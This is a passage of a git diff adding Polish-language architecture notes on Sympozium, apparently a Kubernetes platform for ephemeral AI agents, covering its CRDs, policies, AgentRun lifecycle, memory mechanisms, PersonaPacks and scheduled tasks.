Powiązane: [[Skill Sidecars i auto-RBAC]] | [[Efemeryczny RBAC per-run]] | [[SympoziumInstance]]
|
||||
119
03-CRD/SympoziumInstance.md
Normal file
119
03-CRD/SympoziumInstance.md
Normal file
@@ -0,0 +1,119 @@
|
||||
# SympoziumInstance
|
||||
|
||||
#sympozium #crd #instance
|
||||
|
||||
## Definicja
|
||||
|
||||
`SympoziumInstance` to centralny CRD reprezentujący **jednego tenanta/użytkownika**. Deklaruje konfigurację kanałów, agentów, skillów, polityk i memory.
|
||||
|
||||
**Plik:** `api/v1alpha1/sympoziuminstance_types.go`
|
||||
|
||||
## Spec
|
||||
|
||||
```yaml
|
||||
apiVersion: sympozium.ai/v1alpha1
|
||||
kind: SympoziumInstance
|
||||
metadata:
|
||||
name: my-agent
|
||||
spec:
|
||||
channels: # Podłączone kanały
|
||||
- type: telegram
|
||||
configRef:
|
||||
secret: telegram-creds
|
||||
accessControl:
|
||||
allowedSenders: ["123456"]
|
||||
|
||||
agents:
|
||||
default:
|
||||
model: gpt-4.1
|
||||
baseURL: "" # Override dla OpenAI-compat
|
||||
thinking: "medium" # off/low/medium/high
|
||||
sandbox:
|
||||
enabled: false
|
||||
agentSandbox: # Kernel-level isolation
|
||||
enabled: true
|
||||
runtimeClass: gvisor
|
||||
warmPool:
|
||||
size: 3
|
||||
subagents:
|
||||
maxDepth: 2
|
||||
maxConcurrent: 5
|
||||
maxChildrenPerAgent: 3
|
||||
nodeSelector: # Pinning do GPU node'ów
|
||||
gpu-type: "a100"
|
||||
|
||||
skills: # SkillPacks do montowania
|
||||
- skillPackRef: k8s-ops
|
||||
params:
|
||||
CLUSTER: production
|
||||
- skillPackRef: memory
|
||||
|
||||
policyRef: restrictive # Polityka bezpieczeństwa
|
||||
|
||||
authRefs: # Klucze API
|
||||
- provider: openai
|
||||
secret: openai-key
|
||||
|
||||
memory: # Legacy ConfigMap memory
|
||||
enabled: true
|
||||
maxSizeKB: 256
|
||||
|
||||
observability: # OpenTelemetry
|
||||
enabled: true
|
||||
otlpEndpoint: "otel-collector.observability.svc:4317"
|
||||
|
||||
mcpServers: # External tool providers
|
||||
- name: github
|
||||
toolsPrefix: gh
|
||||
timeout: 30
|
||||
```
|
||||
|
||||
## Status
|
||||
|
||||
```yaml
|
||||
status:
|
||||
phase: Running|Serving|Pending|Error
|
||||
channels:
|
||||
- type: telegram
|
||||
status: Connected|Disconnected|Error
|
||||
activeAgentPods: 2
|
||||
totalAgentRuns: 150
|
||||
webEndpoint:
|
||||
status: Ready
|
||||
url: "alice.sympozium.example.com"
|
||||
```
|
||||
|
||||
## Kluczowe koncepty
|
||||
|
||||
### Multi-tenancy
|
||||
Każda SympoziumInstance to osobny tenant z:
|
||||
- Własnymi kanałami
|
||||
- Własnymi credentials (AuthRefs)
|
||||
- Własną polityką
|
||||
- Własną memory
|
||||
- Własnymi MCP serverami
|
||||
|
||||
### Reconciliation
|
||||
`SympoziumInstanceReconciler` zarządza:
|
||||
1. **Channel Deployments** - tworzy/aktualizuje Deployment per kanał
|
||||
2. **Memory ConfigMap** - legacy `<name>-memory` ConfigMap
|
||||
3. **Memory PVC** - SQLite DB dla memory SkillPack
|
||||
4. **Memory Deployment** - memory-server Deployment + Service
|
||||
5. **Web Endpoints** - server-mode AgentRun dla web-endpoint skill
|
||||
|
||||
### Finalizery
|
||||
Przy usunięciu instancji controller:
|
||||
- Czyści channel deployments
|
||||
- Czyści memory ConfigMap
|
||||
- Czyści memory deployment
|
||||
|
||||
### Channel Access Control
|
||||
Kanały mogą ograniczać kto może komunikować się z agentem:
|
||||
- `allowedSenders` - whitelist ID nadawców
|
||||
- `deniedSenders` - blacklist (nadpisuje whitelist)
|
||||
- `allowedChats` - whitelist ID czatów/grup
|
||||
- `denyMessage` - wiadomość dla odrzuconych
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[AgentRun]] | [[PersonaPack]] | [[SympoziumPolicy]] | [[Kanały - Telegram Slack Discord WhatsApp]]
|
||||
95
03-CRD/SympoziumPolicy.md
Normal file
95
03-CRD/SympoziumPolicy.md
Normal file
@@ -0,0 +1,95 @@
|
||||
# SympoziumPolicy
|
||||
|
||||
#sympozium #crd #policy #security
|
||||
|
||||
## Definicja
|
||||
|
||||
`SympoziumPolicy` definiuje **polityki governance** nad zachowaniem agentów: sandbox requirements, network isolation, tool access i resource limits.
|
||||
|
||||
**Plik:** `api/v1alpha1/sympoziumpolicy_types.go`
|
||||
|
||||
## Spec
|
||||
|
||||
```yaml
|
||||
apiVersion: sympozium.ai/v1alpha1
|
||||
kind: SympoziumPolicy
|
||||
metadata:
|
||||
name: restrictive
|
||||
spec:
|
||||
sandboxPolicy:
|
||||
required: true # Sandbox obowiązkowy
|
||||
defaultImage: sandbox:v1
|
||||
maxCPU: "1"
|
||||
maxMemory: "1Gi"
|
||||
allowHostMounts: false
|
||||
seccompProfile:
|
||||
type: RuntimeDefault
|
||||
agentSandboxPolicy: # Agent Sandbox (gVisor/Kata)
|
||||
required: true
|
||||
defaultRuntimeClass: gvisor
|
||||
allowedRuntimeClasses: [gvisor, kata]
|
||||
|
||||
subagentPolicy:
|
||||
maxDepth: 3 # Max zagnieżdżenie sub-agentów
|
||||
maxConcurrent: 5 # Max równoległych
|
||||
|
||||
toolGating:
|
||||
defaultAction: deny # deny/allow/ask
|
||||
rules:
|
||||
- tool: read_file
|
||||
action: allow
|
||||
- tool: execute_command
|
||||
action: deny
|
||||
- tool: write_file
|
||||
action: ask
|
||||
|
||||
featureGates:
|
||||
memory: true
|
||||
web-endpoint: false
|
||||
channels: true
|
||||
|
||||
networkPolicy:
|
||||
denyAll: true # Deny-all egress
|
||||
allowDNS: true # Wyjątek: DNS
|
||||
allowEventBus: true # Wyjątek: NATS
|
||||
allowedEgress: # Dodatkowe wyjątki
|
||||
- host: "api.openai.com"
|
||||
port: 443
|
||||
```
|
||||
|
||||
## Enforcement
|
||||
|
||||
Polityki są enforced przez **admission webhook** - nie at runtime, ale **at admission time** (przed utworzeniem poda):
|
||||
|
||||
```
|
||||
AgentRun CR → API Server → Admission Webhook → SympoziumPolicy check
|
||||
├── PASS → CR created
|
||||
└── DENY → CR rejected
|
||||
```
|
||||
|
||||
## Presetowe polityki
|
||||
|
||||
| Polityka | Kto | Kluczowe reguły |
|
||||
|----------|-----|-----------------|
|
||||
| **Permissive** | Dev, demo | Wszystkie tools dozwolone, brak sandbox requirement |
|
||||
| **Default** | Ogólne użycie | `execute_command` wymaga approval, reszta dozwolona |
|
||||
| **Restrictive** | Produkcja | Wszystko domyślnie denied, whitelist, sandbox required |
|
||||
|
||||
## NetworkPolicy
|
||||
|
||||
Polityka `networkPolicy` generuje Kubernetes NetworkPolicy:
|
||||
- **denyAll: true** - agent pods nie mają dostępu do internetu ani innych podów
|
||||
- **allowDNS: true** - wyjątek dla rozwiązywania nazw
|
||||
- **allowEventBus: true** - wyjątek dla NATS (tylko IPC bridge)
|
||||
- **allowedEgress** - whitelist konkretnych endpointów (np. API providerów LLM)
|
||||
|
||||
## Status
|
||||
|
||||
```yaml
|
||||
status:
|
||||
boundInstances: 5 # Ile instancji używa tej polityki
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Admission Webhooks i polityki]] | [[NetworkPolicy i izolacja sieciowa]]
|
||||
77
03-CRD/SympoziumSchedule.md
Normal file
77
03-CRD/SympoziumSchedule.md
Normal file
@@ -0,0 +1,77 @@
|
||||
# SympoziumSchedule
|
||||
|
||||
#sympozium #crd #schedule
|
||||
|
||||
## Definicja
|
||||
|
||||
`SympoziumSchedule` definiuje **recurring tasks** dla SympoziumInstance - analogicznie do CronJob, ale tworzy AgentRun zamiast Pod.
|
||||
|
||||
**Plik:** `api/v1alpha1/sympoziumschedule_types.go`
|
||||
|
||||
## Spec
|
||||
|
||||
```yaml
|
||||
apiVersion: sympozium.ai/v1alpha1
|
||||
kind: SympoziumSchedule
|
||||
metadata:
|
||||
name: my-agent-health-check
|
||||
spec:
|
||||
instanceRef: my-agent
|
||||
schedule: "*/30 * * * *" # Co 30 minut
|
||||
task: "Run comprehensive health check"
|
||||
type: heartbeat|scheduled|sweep
|
||||
suspend: false
|
||||
concurrencyPolicy: Forbid|Allow|Replace
|
||||
includeMemory: true # Inject MEMORY.md do kontekstu
|
||||
```
|
||||
|
||||
## Typy scheduli
|
||||
|
||||
| Typ | Opis | Typowy interwał |
|
||||
|-----|------|-----------------|
|
||||
| `heartbeat` | Regularne sprawdzanie stanu | 5-30 minut |
|
||||
| `scheduled` | Zaplanowane zadania | Godzinowo/dziennie |
|
||||
| `sweep` | Przeglądy i cleanup | Dziennie/tygodniowo |
|
||||
|
||||
## Concurrency Policy
|
||||
|
||||
| Polityka | Zachowanie |
|
||||
|----------|------------|
|
||||
| `Forbid` | Nie twórz nowego runu jeśli poprzedni jeszcze działa |
|
||||
| `Allow` | Pozwól na równoległe uruchomienia |
|
||||
| `Replace` | Anuluj poprzedni run i utwórz nowy |
|
||||
|
||||
## Self-scheduling
|
||||
|
||||
Agenty mogą **same zarządzać swoimi schedulami** przez narzędzie `schedule_task`:
|
||||
|
||||
```
|
||||
Agent → /ipc/schedules/create-schedule.json → IPC Bridge → NATS: schedule.upsert
|
||||
→ Schedule Router → tworzy/aktualizuje SympoziumSchedule CRD
|
||||
```
|
||||
|
||||
Operacje: create, update, suspend, resume, delete.
|
||||
|
||||
## Status
|
||||
|
||||
```yaml
|
||||
status:
|
||||
phase: Active|Suspended|Error
|
||||
lastRunTime: "2024-01-01T12:00:00Z"
|
||||
nextRunTime: "2024-01-01T12:30:00Z"
|
||||
lastRunName: my-agent-health-check-run-42
|
||||
totalRuns: 200
|
||||
```
|
||||
|
||||
## Reconciliation
|
||||
|
||||
`SympoziumScheduleReconciler`:
|
||||
1. Oblicza `nextRunTime` z cron expression
|
||||
2. Kiedy `now >= nextRunTime`:
|
||||
- Sprawdza concurrency policy
|
||||
- Tworzy AgentRun CR z task + opcjonalnie memory
|
||||
- Aktualizuje `lastRunTime` i `lastRunName`
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Scheduled Tasks - heartbeaty i swepy]] | [[SympoziumInstance]] | [[AgentRun]]
|
||||
150
04-Zarządzanie-Agentami/Cykl życia AgentRun.md
Normal file
150
04-Zarządzanie-Agentami/Cykl życia AgentRun.md
Normal file
@@ -0,0 +1,150 @@
|
||||
# Cykl życia AgentRun
|
||||
|
||||
#sympozium #agenty #lifecycle
|
||||
|
||||
## Pełny przepływ reconciliation
|
||||
|
||||
`AgentRunReconciler` to **największy i najważniejszy controller** w systemie (~900 linii kodu). Zarządza pełnym lifecycle od Pending do Completed.
|
||||
|
||||
## Faza: Pending → Running
|
||||
|
||||
```
|
||||
reconcilePending():
|
||||
│
|
||||
├── 1. validatePolicy()
|
||||
│ └── Sprawdza SympoziumPolicy:
|
||||
│ - Sandbox requirements
|
||||
│ - Tool gating
|
||||
│ - Feature gates
|
||||
│ - AgentSandbox policy
|
||||
│
|
||||
├── 2. Agent Sandbox check
|
||||
│ └── Jeśli agentSandbox.enabled → reconcilePendingAgentSandbox()
|
||||
│ (tworzy Sandbox CR zamiast Job)
|
||||
│
|
||||
├── 3. ensureAgentServiceAccount()
|
||||
│ └── ServiceAccount "sympozium-agent" w target namespace
|
||||
│
|
||||
├── 4. createInputConfigMap()
|
||||
│ └── ConfigMap z task, system prompt, memory context
|
||||
│
|
||||
├── 5. Lookup SympoziumInstance
|
||||
│ ├── Memory enabled? → prepend memory instructions
|
||||
│ ├── Observability config → inject OTel env vars
|
||||
│ ├── Skills inheritance → copy from instance if empty
|
||||
│ └── MCP servers → resolve URLs from MCPServer CRs
|
||||
│
|
||||
├── 6. ensureMCPConfigMap()
|
||||
│ └── ConfigMap z konfiguracją MCP serwerów
|
||||
│
|
||||
├── 7. resolveSkillSidecars()
|
||||
│ └── SkillPack CRDs → resolved sidecar specs
|
||||
│
|
||||
├── 8. Server mode check
|
||||
│ └── mode=server → reconcilePendingServer() (Deployment+Service)
|
||||
│
|
||||
├── 9. Filter server-only sidecars (task mode)
|
||||
│
|
||||
├── 10. Memory server readiness check
|
||||
│ └── Jeśli memory skill → sprawdź czy Deployment istnieje
|
||||
│
|
||||
├── 11. Build Job
|
||||
│ ├── PodBuilder.BuildAgentContainer()
|
||||
│ ├── PodBuilder.BuildIPCBridgeContainer()
|
||||
│ ├── Skill sidecar containers
|
||||
│ ├── MCP bridge sidecar (jeśli MCP servers)
|
||||
│ ├── Sandbox sidecar (jeśli enabled)
|
||||
│ ├── Memory volumes/init containers
|
||||
│ ├── Secret mirroring (system → run namespace)
|
||||
│ └── OTel tracing setup
|
||||
│
|
||||
├── 12. Create ephemeral RBAC
|
||||
│ ├── Role + RoleBinding (namespace-scoped, ownerRef)
|
||||
│ └── ClusterRole + ClusterRoleBinding (label-based)
|
||||
│
|
||||
├── 13. NetworkPolicy
|
||||
│ └── deny-all + allow DNS + allow NATS
|
||||
│
|
||||
└── 14. Create Job → Status: Running
|
||||
```
|
||||
|
||||
## Faza: Running
|
||||
|
||||
```
|
||||
reconcileRunning():
|
||||
│
|
||||
├── Poll Job status (co 10s via requeue)
|
||||
│
|
||||
├── Pod Succeeded → extractResults():
|
||||
│ ├── Read pod logs
|
||||
│ ├── Extract result text
|
||||
│ ├── Extract memory markers (__SYMPOZIUM_MEMORY__)
|
||||
│ ├── Patch memory ConfigMap
|
||||
│ ├── Extract token usage
|
||||
│ └── Set status.result, completedAt, tokenUsage
|
||||
│ → Status: Succeeded
|
||||
│
|
||||
├── Pod Failed →
|
||||
│ ├── Read pod logs for error
|
||||
│ ├── Set status.error, exitCode
|
||||
│ └── Status: Failed
|
||||
│
|
||||
└── Timeout → failRun() → Status: Failed
|
||||
```
|
||||
|
||||
## Faza: Succeeded/Failed
|
||||
|
||||
```
|
||||
reconcileCompleted():
|
||||
│
|
||||
├── Clean up ephemeral RBAC
|
||||
│ ├── Delete ClusterRole (label: agentrun=<name>)
|
||||
│ └── Delete ClusterRoleBinding
|
||||
│
|
||||
├── Prune run history
|
||||
│ └── Keep max 50 runs per instance (DefaultRunHistoryLimit)
|
||||
│
|
||||
└── Remove finalizer → AgentRun deletable
|
||||
```
|
||||
|
||||
## Faza: Serving (server mode)
|
||||
|
||||
```
|
||||
reconcileServing():
|
||||
│
|
||||
├── Sprawdź Deployment health
|
||||
├── Sprawdź Service health
|
||||
├── Reconcile HTTPRoute (Envoy Gateway)
|
||||
└── Requeue co 30s
|
||||
```
|
||||
|
||||
## Obsługa usunięcia
|
||||
|
||||
```
|
||||
reconcileDelete():
|
||||
│
|
||||
├── Delete server-mode resources (Deployment, Service, HTTPRoute)
|
||||
├── Delete ephemeral RBAC
|
||||
├── Delete input ConfigMap
|
||||
├── Delete MCP ConfigMap
|
||||
├── Remove finalizer
|
||||
└── AgentRun usunięty
|
||||
```
|
||||
|
||||
## OTel Tracing
|
||||
|
||||
Każda faza reconciliation jest tracowana:
|
||||
- `agentrun.reconcile` - główny span
|
||||
- `agentrun.create_job` - tworzenie Job
|
||||
- Traceparent propagowany do agent poda via env var
|
||||
- TraceID zapisany w `status.traceID`
|
||||
|
||||
## Metryki
|
||||
|
||||
- `sympozium.agent.runs` - counter (success/failure labels)
|
||||
- `sympozium.agent.duration_ms` - histogram czasu trwania
|
||||
- `sympozium.errors` - counter błędów
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[AgentRun]] | [[Cykl życia Agent Pod]] | [[Orchestrator - PodBuilder i Spawner]]
|
||||
82
04-Zarządzanie-Agentami/Model efemerycznych agentów.md
Normal file
82
04-Zarządzanie-Agentami/Model efemerycznych agentów.md
Normal file
@@ -0,0 +1,82 @@
|
||||
# Model efemerycznych agentów
|
||||
|
||||
#sympozium #agenty #architektura #ephemeral
|
||||
|
||||
## Fundamentalna decyzja
|
||||
|
||||
Sympozium implementuje **model efemeryczny**: każde wywołanie agenta tworzy nowy Kubernetes [[Job]], który po zakończeniu jest usuwany. To odwrotność podejścia "persistent engine" stosowanego w kagent, LangChain, CrewAI.
|
||||
|
||||
## Jak to działa
|
||||
|
||||
```
|
||||
Wiadomość użytkownika
|
||||
↓
|
||||
Channel Router tworzy AgentRun CR
|
||||
↓
|
||||
AgentRun Reconciler tworzy Job:
|
||||
- Agent container (LLM loop)
|
||||
- IPC Bridge sidecar
|
||||
- Skill sidecars (z efemerycznym RBAC)
|
||||
- Opcjonalnie: sandbox, MCP bridge
|
||||
↓
|
||||
Agent wykonuje zadanie (sekundy-minuty)
|
||||
↓
|
||||
Job ends → Pod usunięty → RBAC usunięty → Zasoby zwolnione
|
||||
```
|
||||
|
||||
## Implikacje
|
||||
|
||||
### Izolacja (zalety)
|
||||
- **Blast-radius** ograniczony do jednego poda - misbehaving agent nie wpływa na innych
|
||||
- **Resource limits** per invocation - każdy run ma własne CPU/memory limits
|
||||
- **[[SecurityContext]]** per run - każdy pod ma hardened security context
|
||||
- **[[NetworkPolicy]]** per run - deny-all egress, tylko IPC bridge ma sieć
|
||||
- **[[RBAC]]** per run - credentials istnieją tylko przez czas trwania runu
|
||||
|
||||
### Skalowanie (zalety)
|
||||
- **Horizontal scaling** natywne - K8s scheduler rozkłada pody po nodach
|
||||
- **No contention** - każdy run to osobny pod, brak współdzielenia procesora
|
||||
- **Auto-cleanup** - Kubernetes garbage collection czyści po zakończeniu
|
||||
|
||||
### Cold start (wady i mitygacja)
|
||||
- **Problem:** Każdy run = nowy pod = scheduling + image pull + container start
|
||||
- **Typowy czas:** 5-30 sekund
|
||||
- **Mitygacja 1:** Warm Pools (SandboxWarmPool) - pre-provisioned sandboxes
|
||||
- **Mitygacja 2:** ImagePullPolicy: IfNotPresent - obrazy cache'owane na nodach
|
||||
- **Mitygacja 3:** Tryb Server - Deployment zamiast Job dla long-lived scenarios
|
||||
|
||||
### Brak stanu (wady i mitygacja)
|
||||
- **Problem:** Agent nie pamięta poprzednich konwersacji
|
||||
- **Mitygacja 1:** Persistent Memory (SQLite + FTS5 na PVC)
|
||||
- **Mitygacja 2:** Legacy Memory (ConfigMap MEMORY.md)
|
||||
- **Mitygacja 3:** Session persistence (PostgreSQL)
|
||||
|
||||
## Porównanie z persistent engine
|
||||
|
||||
| Aspekt | Ephemeral (Sympozium) | Persistent (kagent, LangChain) |
|
||||
|--------|----------------------|-------------------------------|
|
||||
| Izolacja | [[Pod]]-level per run | Shared process |
|
||||
| Cold start | 5-30s (mitygowany WarmPool) | ~0s (process already running) |
|
||||
| State | External (memory, sessions) | In-process |
|
||||
| Scaling | Horizontal native | Vertical only |
|
||||
| Resource utilization | Pay-per-invocation | Always-on |
|
||||
| Failure blast radius | Single pod | Entire engine |
|
||||
| Audit trail | Pod logs, CRD status | Engine logs |
|
||||
| RBAC | Ephemeral per-run | Standing ServiceAccount |
|
||||
|
||||
## Kiedy model efemeryczny?
|
||||
|
||||
Idealny dla:
|
||||
- **Cluster operations** - kubectl, helm z izolacją
|
||||
- **Scheduled tasks** - health checks, sweeps
|
||||
- **Multi-tenant** - izolacja między tenantami
|
||||
- **Security-sensitive** - untrusted agent code
|
||||
- **Batch processing** - one-shot tasks
|
||||
|
||||
Mniej idealny dla:
|
||||
- **Real-time chat** - cold start jest widoczny (ale tryb Server to rozwiązuje)
|
||||
- **State-heavy workflows** - wymagają persistent memory
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Cykl życia AgentRun]] | [[Agent Sandbox - gVisor i Kata]] | [[Sympozium vs kagent]]
|
||||
122
04-Zarządzanie-Agentami/Persistent Memory.md
Normal file
122
04-Zarządzanie-Agentami/Persistent Memory.md
Normal file
@@ -0,0 +1,122 @@
|
||||
# Persistent Memory
|
||||
|
||||
#sympozium #agenty #memory
|
||||
|
||||
## Problem
|
||||
|
||||
W modelu efemerycznym agent traci pamięć po zakończeniu runu. Sympozium rozwiązuje to dwoma mechanizmami.
|
||||
|
||||
## Mechanizm 1: Legacy ConfigMap Memory
|
||||
|
||||
Prostszy, starszy system:
|
||||
|
||||
```
|
||||
Agent output zawiera markery:
|
||||
__SYMPOZIUM_MEMORY__
|
||||
Key insight: Pod X has recurring OOM issues
|
||||
__SYMPOZIUM_MEMORY_END__
|
||||
↓
|
||||
Controller parsuje logi poda
|
||||
↓
|
||||
Patch ConfigMap: <instance>-memory
|
||||
Data:
|
||||
MEMORY.md: |
|
||||
# Agent Memory
|
||||
- Key insight: Pod X has recurring OOM issues
|
||||
↓
|
||||
Następny run montuje ConfigMap w /memory/MEMORY.md
|
||||
```
|
||||
|
||||
### Ograniczenia
|
||||
- Flat file (Markdown)
|
||||
- Brak wyszukiwania semantycznego
|
||||
- Max rozmiar: `maxSizeKB` (domyślnie 256KB)
|
||||
- Brak tagowania/kategoryzacji
|
||||
|
||||
## Mechanizm 2: SQLite + FTS5 Memory (SkillPack-based)
|
||||
|
||||
Zaawansowany system z dedykowanym serwerem:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────┐
|
||||
│ Memory Server (Deployment+Service) │
|
||||
│ │
|
||||
│ ┌──────────────────┐ │
|
||||
│ │ SQLite + FTS5 │ │
|
||||
│ │ na PVC (1Gi) │ │
|
||||
│ └──────────────────┘ │
|
||||
│ HTTP API: :8080 │
|
||||
│ /health - readiness/liveness │
|
||||
│ /memory/store - zapis │
|
||||
│ /memory/search - wyszukiwanie FTS │
|
||||
└──────────┬──────────────────────────┘
|
||||
│
|
||||
Agent Pod (z memory skill):
|
||||
- memory_store → HTTP POST
|
||||
- memory_search → HTTP GET
|
||||
```
|
||||
|
||||
### Aktywacja
|
||||
Dodanie skillu `memory` do SympoziumInstance:
|
||||
```yaml
|
||||
skills:
|
||||
- skillPackRef: memory
|
||||
```
|
||||
|
||||
### Co controller tworzy
|
||||
1. **PVC**: `<instance>-memory-db` (1Gi) - persystencja SQLite DB
|
||||
2. **Deployment**: `<instance>-memory` - memory-server z PVC
|
||||
3. **Service**: `<instance>-memory` - ClusterIP na port 8080
|
||||
|
||||
### Zalety vs ConfigMap
|
||||
- **Full-text search** (FTS5) - agent szuka w pamięci semantycznie
|
||||
- **Tagging** - memories mogą być kategoryzowane
|
||||
- **Skalowalne** - DB na PVC, nie ConfigMap (1MB limit)
|
||||
- **Upgradeable** - można dodać vector search w przyszłości
|
||||
- **API-driven** - agent używa HTTP API, nie plików
|
||||
|
||||
## Memory w scheduled tasks
|
||||
|
||||
```yaml
|
||||
# SympoziumSchedule
|
||||
spec:
|
||||
includeMemory: true # Memory context wstrzyknięty do każdego runu
|
||||
```
|
||||
|
||||
To enabler dla **uczących się agentów**:
|
||||
```
|
||||
Run 1: Agent odkrywa problem → zapisuje do memory
|
||||
Run 2: Agent czyta memory → kontynuuje od ostatniego stanu
|
||||
Run 3: Agent widzi trend → eskaluje
|
||||
```
|
||||
|
||||
## Memory seeds (PersonaPack)
|
||||
|
||||
```yaml
|
||||
personas:
|
||||
- name: sre-watchdog
|
||||
memory:
|
||||
enabled: true
|
||||
seeds:
|
||||
- "Track repeated pod restarts for trend analysis"
|
||||
- "Remember previous node capacity assessments"
|
||||
```
|
||||
|
||||
Seeds to **początkowa pamięć** - instrukcje dla agenta co śledzić.
|
||||
|
||||
## Architektura memory w podzie
|
||||
|
||||
```
|
||||
Agent Pod:
|
||||
├── Init Container: wait-for-memory
|
||||
│ └── curl http://<instance>-memory:8080/health
|
||||
│ (czeka aż memory server jest ready)
|
||||
├── Agent Container:
|
||||
│ ├── memory_search("previous issues") → HTTP GET
|
||||
│ └── memory_store("New issue found: ...") → HTTP POST
|
||||
└── (memory server jest ZEWNĘTRZNY - Deployment, nie sidecar)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model efemerycznych agentów]] | [[Scheduled Tasks - heartbeaty i swepy]] | [[SympoziumInstance]]
|
||||
101
04-Zarządzanie-Agentami/PersonaPacks - zespoły agentów.md
Normal file
101
04-Zarządzanie-Agentami/PersonaPacks - zespoły agentów.md
Normal file
@@ -0,0 +1,101 @@
|
||||
# PersonaPacks - zespoły agentów
|
||||
|
||||
#sympozium #agenty #personapack #teams
|
||||
|
||||
## Koncepcja
|
||||
|
||||
PersonaPacks implementują wzorzec **"AI Team as Code"** - deklarujesz cały zespół agentów w jednym CRD, controller realizuje intent.
|
||||
|
||||
## Od pojedynczego agenta do zespołu
|
||||
|
||||
### Bez PersonaPacks (ręcznie):
|
||||
```
|
||||
Per agent trzeba stworzyć:
|
||||
1. Secret (klucz API)
|
||||
2. SympoziumInstance (konfiguracja)
|
||||
3. SympoziumSchedule (harmonogram)
|
||||
4. ConfigMap memory (początkowa pamięć)
|
||||
|
||||
Dla 7 agentów = 28 zasobów K8s ręcznie
|
||||
```
|
||||
|
||||
### Z PersonaPacks:
|
||||
```
|
||||
1. Wybierz pack w TUI
|
||||
2. Podaj klucz API
|
||||
3. Done - 28 zasobów stworzonych automatycznie
|
||||
```
|
||||
|
||||
## Wzorzec "stamp out"
|
||||
|
||||
PersonaPack controller działa jak **operator pattern**:
|
||||
|
||||
```
|
||||
PersonaPack (desired state)
|
||||
↓
|
||||
PersonaPackReconciler:
|
||||
for each persona in spec.personas:
|
||||
if persona.name not in spec.excludePersonas:
|
||||
├── createOrUpdate SympoziumInstance
|
||||
│ ├── Name: <pack>-<persona>
|
||||
│ ├── Channels: z channelConfigs
|
||||
│ ├── Skills: z persona.skills
|
||||
│ ├── AuthRefs: z pack.authRefs
|
||||
│ └── Policy: z pack.policyRef
|
||||
├── createOrUpdate SympoziumSchedule (jeśli persona.schedule)
|
||||
│ ├── Cron: z interval → cron conversion
|
||||
│ ├── Task: persona.schedule.task (z taskOverride prepend)
|
||||
│ └── IncludeMemory: true
|
||||
└── createOrUpdate ConfigMap memory (jeśli persona.memory)
|
||||
└── Seeds: persona.memory.seeds
|
||||
```
|
||||
|
||||
## Przykład: developer-team
|
||||
|
||||
Pack `developer-team` tworzy **7 współpracujących agentów**:
|
||||
|
||||
| Agent | Rola | Schedule | Skills |
|
||||
|-------|------|----------|--------|
|
||||
| Tech Lead | Planowanie, architektura | Co 1h | github-gitops |
|
||||
| Backend Dev | Implementacja backend | Co 30m | github-gitops, k8s-ops |
|
||||
| Frontend Dev | Implementacja frontend | Co 30m | github-gitops |
|
||||
| QA Engineer | Testowanie | Co 45m | github-gitops |
|
||||
| Code Reviewer | Code review | Co 20m | github-gitops |
|
||||
| DevOps Engineer | CI/CD, infra | Co 1h | github-gitops, k8s-ops |
|
||||
| Docs Writer | Dokumentacja | Co 2h | github-gitops |
|
||||
|
||||
Wszystkie te agenty:
|
||||
- Współdzielą repo (via skill params)
|
||||
- Mają własną pamięć (memory seeds specyficzne per rola)
|
||||
- Działają na harmonogramach (heartbeats)
|
||||
- Mają osobne RBAC per run
|
||||
|
||||
## Lifecycle zarządzania
|
||||
|
||||
```
|
||||
Install pack → TUI wizard
|
||||
↓
|
||||
Activate (set authRefs) → Controller stampuje
|
||||
↓
|
||||
Running → Agenty działają wg scheduli
|
||||
↓
|
||||
Exclude persona → Controller usuwa zasoby tego agenta
|
||||
↓
|
||||
Delete pack → ownerReferences → K8s GC czyści WSZYSTKO
|
||||
```
|
||||
|
||||
## Konfiguracja globalna vs per-persona
|
||||
|
||||
| Ustawienie | Poziom pack | Poziom persona |
|
||||
|------------|-------------|----------------|
|
||||
| AuthRefs | Tak (wspólne) | Nie |
|
||||
| Model | Tak (default) | Tak (override) |
|
||||
| Skills | Nie | Tak |
|
||||
| Channels | Tak (channelConfigs) | Tak (channels list) |
|
||||
| Policy | Tak (policyRef) | Nie (dziedziczy) |
|
||||
| Task Override | Tak (prepend do scheduli) | Nie |
|
||||
| Agent Sandbox | Tak (dla wszystkich) | Nie |
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[PersonaPack]] | [[SympoziumInstance]] | [[Scheduled Tasks - heartbeaty i swepy]]
|
||||
105
04-Zarządzanie-Agentami/Scheduled Tasks - heartbeaty i swepy.md
Normal file
105
04-Zarządzanie-Agentami/Scheduled Tasks - heartbeaty i swepy.md
Normal file
@@ -0,0 +1,105 @@
|
||||
# Scheduled Tasks - heartbeaty i swepy
|
||||
|
||||
#sympozium #agenty #scheduling
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Sympozium traktuje **agentów jak CronJob'y** - mogą być uruchamiane cyklicznie bez interwencji użytkownika. To enabler dla scenariuszy DevOps/SRE.
|
||||
|
||||
## Typy scheduli
|
||||
|
||||
| Typ | Cel | Typowy interwał | Przykład |
|
||||
|-----|-----|-----------------|---------|
|
||||
| **heartbeat** | Regularne sprawdzanie stanu | 5-30 min | "Sprawdź czy wszystkie pody są healthy" |
|
||||
| **scheduled** | Zaplanowane zadania | 1-24h | "Poranny raport z kosztów klastra" |
|
||||
| **sweep** | Przeglądy i cleanup | 1-7 dni | "Znajdź i zgłoś nieużywane PVC" |
|
||||
|
||||
## Self-scheduling
|
||||
|
||||
Wyjątkowa cecha: **agenty mogą same zarządzać swoimi schedulami**:
|
||||
|
||||
```
|
||||
Agent dostaje task: "Monitor klaster"
|
||||
↓
|
||||
Agent decyduje: "Powinienem sprawdzać co 15 minut"
|
||||
↓
|
||||
Agent wywołuje tool: schedule_task(
|
||||
action: "create",
|
||||
schedule: "*/15 * * * *",
|
||||
task: "Sprawdź stan podów w namespace production"
|
||||
)
|
||||
↓
|
||||
/ipc/schedules/create.json → IPC Bridge → NATS: schedule.upsert
|
||||
↓
|
||||
Schedule Router → tworzy SympoziumSchedule CRD
|
||||
↓
|
||||
SympoziumSchedule Controller → tworzy AgentRun co 15 min
|
||||
```
|
||||
|
||||
Agent może też: update, suspend, resume, delete swoje schedules.
|
||||
|
||||
## Concurrency control
|
||||
